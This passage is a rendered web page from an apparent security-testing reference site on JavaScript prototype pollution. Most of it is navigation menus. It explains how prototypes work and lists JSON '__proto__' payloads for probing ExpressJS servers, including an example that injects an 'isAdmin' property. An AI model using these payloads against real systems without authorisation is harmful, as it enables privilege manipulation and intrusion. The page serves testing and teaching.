</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" checked>
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#examples" class="md-nav__link">
<span class="md-ellipsis">
Examples
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#manual-testing" class="md-nav__link">
<span class="md-ellipsis">
Manual Testing
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-via-json-input" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution via JSON Input
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-in-url" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution in URL
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-exploitation" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-payloads" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution Payloads
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-gadgets" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution Gadgets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#labs" class="md-nav__link">
<span class="md-ellipsis">
Labs
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Regular Expression
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52_2" >
<label class="md-nav__link" for="__nav_52_2" id="__nav_52_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_52_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#examples" class="md-nav__link">
<span class="md-ellipsis">
Examples
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#manual-testing" class="md-nav__link">
<span class="md-ellipsis">
Manual Testing
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-via-json-input" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution via JSON Input
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-in-url" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution in URL
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-exploitation" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-payloads" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution Payloads
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#prototype-pollution-gadgets" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution Gadgets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#labs" class="md-nav__link">
<span class="md-ellipsis">
Labs
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
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<h1 id="prototype-pollution">Prototype Pollution</h1>
<blockquote>
<p>Prototype pollution is a type of vulnerability that occurs in JavaScript when properties of Object.prototype are modified. This is particularly risky because JavaScript objects are dynamic and we can add properties to them at any time. Also, almost all objects in JavaScript inherit from Object.prototype, making it a potential attack vector.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#methodology">Methodology</a><ul>
<li><a href="#examples">Examples</a></li>
<li><a href="#manual-testing">Manual Testing</a></li>
<li><a href="#prototype-pollution-via-json-input">Prototype Pollution via JSON Input</a></li>
<li><a href="#prototype-pollution-in-url">Prototype Pollution in URL</a></li>
<li><a href="#prototype-pollution-payloads">Prototype Pollution Payloads</a></li>
<li><a href="#prototype-pollution-gadgets">Prototype Pollution Gadgets</a></li>
</ul>
</li>
<li><a href="#labs">Labs</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/yeswehack/pp-finder">yeswehack/pp-finder</a> - Help you find gadget for prototype pollution exploitation</li>
<li><a href="https://github.com/yuske/silent-spring">yuske/silent-spring</a> - Prototype Pollution Leads to Remote Code Execution in Node.js</li>
<li><a href="https://github.com/yuske/server-side-prototype-pollution">yuske/server-side-prototype-pollution</a> - Server-Side Prototype Pollution gadgets in Node.js core code and 3rd party NPM packages</li>
<li><a href="https://github.com/BlackFan/client-side-prototype-pollution">BlackFan/client-side-prototype-pollution</a> - Prototype Pollution and useful Script Gadgets</li>
<li><a href="https://github.com/portswigger/server-side-prototype-pollution">portswigger/server-side-prototype-pollution</a> - Burp Suite Extension detectiong Prototype Pollution vulnerabilities</li>
<li><a href="https://github.com/msrkp/PPScan">msrkp/PPScan</a> - Client Side Prototype Pollution Scanner </li>
</ul>
<h2 id="methodology">Methodology</h2>
<p>In JavaScript, prototypes are what allow objects to inherit features from other objects. If an attacker is able to add or modify properties of <code>Object.prototype</code>, they can essentially affect all objects that inherit from that prototype, potentially leading to various kinds of security risks.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="kd">var</span><span class="w"> </span><span class="nx">myDog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">Dog</span><span class="p">();</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="c1">// Points to the function &quot;Dog&quot;</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="nx">myDog</span><span class="p">.</span><span class="kr">constructor</span><span class="p">;</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="c1">// Points to the class definition of &quot;Dog&quot;</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="nx">myDog</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">;</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="nx">myDog</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">;</span>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="nx">myDog</span><span class="p">[</span><span class="s2">&quot;__proto__&quot;</span><span class="p">];</span>
</code></pre></div>
<h3 id="examples">Examples</h3>
<ul>
<li>Imagine that an application uses an object to maintain configuration settings, like this:
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="kd">let</span><span class="w"> </span><span class="nx">config</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="w"> </span><span class="nx">isAdmin</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="p">};</span>
</code></pre></div></li>
<li>An attacker might be able to add an <code>isAdmin</code> property to <code>Object.prototype</code>, like this:
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">isAdmin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
</code></pre></div></li>
</ul>
<h3 id="manual-testing">Manual Testing</h3>
<ul>
<li>ExpressJS: <code>{ "__proto__":{"parameterLimit":1}}</code> + 2 parameters in GET request, at least 1 must be reflected in the response.</li>
<li>ExpressJS: <code>{ "__proto__":{"ignoreQueryPrefix":true}}</code> + <code>??foo=bar</code></li>
<li>ExpressJS: <code>{ "__proto__":{"allowDots":true}}</code> + <code>?foo.bar=baz</code></li>
<li>Change the padding of a JSON response: <code>{ "__proto__":{"json spaces":" "}}</code> + <code>{"foo":"bar"}</code>, the server should return <code>{"foo": "bar"}</code></li>
<li>Modify CORS header responses: <code>{ "__proto__":{"exposedHeaders":["foo"]}}</code>, the server should return the header <code>Access-Control-Expose-Headers</code>.</li>
<li>Change the status code: <code>{ "__proto__":{"status":510}}</code></li>
</ul>
